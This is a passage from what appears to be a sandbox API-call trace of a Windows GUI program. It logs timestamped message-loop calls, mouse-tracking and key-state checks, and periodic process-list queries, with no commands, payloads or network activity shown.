lpMsg=0xb6f0bc) returned 1 [0193.515] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0193.515] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0193.515] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0193.515] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0193.515] WaitMessage () returned 1 [0193.702] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0193.702] IsWindowUnicode (hWnd=0x1015c) returned 1 [0193.702] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0193.702] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0193.702] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0193.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x65f0) returned 0x0 [0193.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0193.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0193.705] WaitMessage () returned 1 [0194.060] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0194.060] IsWindowUnicode (hWnd=0x10166) returned 1 [0194.060] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0194.060] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0194.060] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0194.062] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0194.062] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0194.062] WaitMessage () returned 1 [0194.575] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0194.575] IsWindowUnicode (hWnd=0x10166) returned 1 [0194.575] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0194.575] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0194.575] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0194.575] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0194.575] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0194.575] WaitMessage () returned 1 [0195.106] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0195.106] IsWindowUnicode (hWnd=0x10166) returned 1 [0195.106] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0195.106] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0195.106] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0195.106] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0195.106] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0195.106] WaitMessage () returned 1 [0195.636] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0195.636] IsWindowUnicode (hWnd=0x10166) returned 1 [0195.637] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0195.637] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0195.637] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0195.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0195.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0195.637] WaitMessage () returned 1 [0195.717] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0195.718] IsWindowUnicode (hWnd=0x1015c) returned 1 [0195.718] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0195.718] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0195.718] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0195.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x65f0) returned 0x0 [0195.719] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0195.719] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0195.719] WaitMessage () returned 1 [0196.166] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0196.166] IsWindowUnicode (hWnd=0x10166) returned 1 [0196.166] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0196.166] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0196.166] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0196.167] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0196.167] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0196.167] WaitMessage () returned 1 [0196.697] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0196.697] IsWindowUnicode (hWnd=0x10166) returned 1 [0196.697] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0196.697] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0196.697] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0196.697] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0196.697] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0196.697] WaitMessage () returned 1 [0197.227] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.227] IsWindowUnicode (hWnd=0x10166) returned 1 [0197.227] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.227] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0197.227] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0197.228] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.228] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.228] WaitMessage () returned 1 [0197.726] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.726] IsWindowUnicode (hWnd=0x1015c) returned 1 [0197.726] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.726] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0197.726] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0197.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x65f0) returned 0x0 [0197.728] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.728] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.728] WaitMessage () returned 1 [0197.757] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.757] IsWindowUnicode (hWnd=0x10166) returned 1 [0197.758] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.758] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0197.758] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0197.758] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.758] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.758] WaitMessage () returned 1 [0197.889] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.890] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x10c023c) returned 0x1 [0197.890] IsWindowUnicode (hWnd=0x1015e) returned 1 [0197.890] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.890] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x10c023c) returned 0x1 [0197.890] SetCursor (hCursor=0x10003) returned 0x10003 [0197.890] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0197.890] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0197.891] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0197.891] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0197.891] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0197.891] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x350056) returned 0x0 [0197.891] GetKeyState (nVirtKey=1) returned 0 [0197.891] GetKeyState (nVirtKey=2) returned 0 [0197.891] GetKeyState (nVirtKey=4) returned 0 [0197.891] GetKeyState (nVirtKey=5) returned 0 [0197.891] GetKeyState (nVirtKey=6) returned 0 [0197.891] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.891] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.891] WaitMessage () returned 1 [0197.992] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.992] IsWindowUnicode (hWnd=0x1015e) returned 1 [0197.992] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.992] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0197.992] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0197.992] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.992] IsWindowUnicode (hWnd=0x1015e) returned 1 [0197.992] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0197.992] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0197.992] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0197.992] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x350056) returned 0x0 [0197.992] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.992] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0197.992] WaitMessage () returned 1 [0198.288] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.288] IsWindowUnicode (hWnd=0x10166) returned 1 [0198.288] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.288] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0198.288] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0198.288] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.288] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.288] WaitMessage () returned 1 [0198.818] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.818] IsWindowUnicode (hWnd=0x10166) returned 1 [0198.818] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.818] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0198.818] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0198.819] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.819] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.819] WaitMessage () returned 1 [0198.900] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.900] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.900] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.900] IsWindowUnicode (hWnd=0x1015e) returned 1 [0198.900] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0198.900] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0198.900] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0198.900] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0198.900] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.900] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0198.900] WaitMessage () returned 1 [0199.349] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0199.349] IsWindowUnicode (hWnd=0x10166) returned 1 [0199.349] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0199.349] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0199.349] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0199.349] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0199.349] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0199.349] WaitMessage () returned 1 [0199.739] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0199.739] IsWindowUnicode (hWnd=0x1015c) returned 1 [0199.739] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0199.739] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0199.739] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0199.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6430) returned 0x0 [0199.748] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0199.748] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0199.748] WaitMessage () returned 1 [0199.880] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0199.880] IsWindowUnicode (hWnd=0x10166) returned 1 [0199.880] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0199.880] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0199.880] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0199.880] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0199.880] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0199.880] WaitMessage () returned 1 [0200.409] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0200.410] IsWindowUnicode (hWnd=0x10166) returned 1 [0200.410] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0200.410] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0200.410] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0200.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0200.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0200.410] WaitMessage () returned 1 [0200.942] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0200.942] IsWindowUnicode (hWnd=0x10166) returned 1 [0200.942] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0200.942] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0200.942] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0200.942] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0200.942] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0200.942] WaitMessage () returned 1 [0201.470] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0201.470] IsWindowUnicode (hWnd=0x10166) returned 1 [0201.470] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0201.470] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0201.470] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0201.471] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0201.471] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0201.471] WaitMessage () returned 1 [0201.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0201.751] IsWindowUnicode (hWnd=0x1015c) returned 1 [0201.751] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0201.751] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0201.751] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0201.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6430) returned 0x0 [0201.753] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0201.753] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0201.753] WaitMessage () returned 1 [0201.945] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0201.945] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 21103092 [0201.945] IsWindowUnicode (hWnd=0x10172) returned 1 [0201.945] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0201.945] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 21103092 [0201.945] SetCursor (hCursor=0x10003) returned 0x10003 [0201.945] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0201.945] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0201.945] _TrackMouseEvent (in: lpEventTrack=0x2b37270 | out: lpEventTrack=0x2b37270) returned 1 [0201.945] SendMessageW (hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0201.945] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0201.946] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x200, wParam=0x0, lParam=0x150172) returned 0x0 [0201.946] GetKeyState (nVirtKey=1) returned 0 [0201.946] GetKeyState (nVirtKey=2) returned 0 [0201.946] GetKeyState 